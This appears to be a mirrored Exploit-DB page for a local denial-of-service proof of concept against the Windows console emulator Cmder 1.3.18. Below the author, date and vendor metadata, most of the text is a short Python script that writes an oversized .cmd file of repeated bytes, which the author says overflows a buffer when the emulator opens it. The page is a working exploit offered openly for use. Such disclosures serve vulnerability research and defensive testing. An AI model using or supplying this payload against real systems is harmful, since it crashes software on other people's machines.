Cmder Console Emulator 1.3.18 – ‘Cmder.exe’ Denial of Service (PoC)

• Exploit Database
• 18 阅读

• 作者： Aryan Chehreghani
  日期： 2021-10-08
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50401/

• # Exploit Title: Cmder Console Emulator 1.3.18 - 'Cmder.exe' Denial of Service (PoC)
  # Date: 2021-10-07
  # Exploit Author: Aryan Chehreghani
  # Vendor Homepage: https://cmder.net
  # Software Link: https://github.com/cmderdev/cmder/releases/download/v1.3.18/cmder.zip
  # Version: v1.3.18
  # Tested on: Windows 10 
  
  # [About - Cmder Console Emulator] :
  
  #Cmder is a software package created over absence of usable console emulator on Windows.
  #It is based on ConEmu with major config overhaul, comes with a Monokai color scheme, amazing clink (further enhanced by clink-completions) and a custom prompt layout.
  
  # [Security Issue] : 
  
  #equires the execution of a .cmd file type and The created file enters the emulator ,That will trigger the buffer overflow condition. 
  #E.gλ cmder.cmd
  
  # [POC] :
  
  PAYLOAD=chr(235) + "\\CMDER"
  PAYLOAD = PAYLOAD * 3000
  with open("cmder.cmd", "w") as f:
  f.write(PAYLOAD)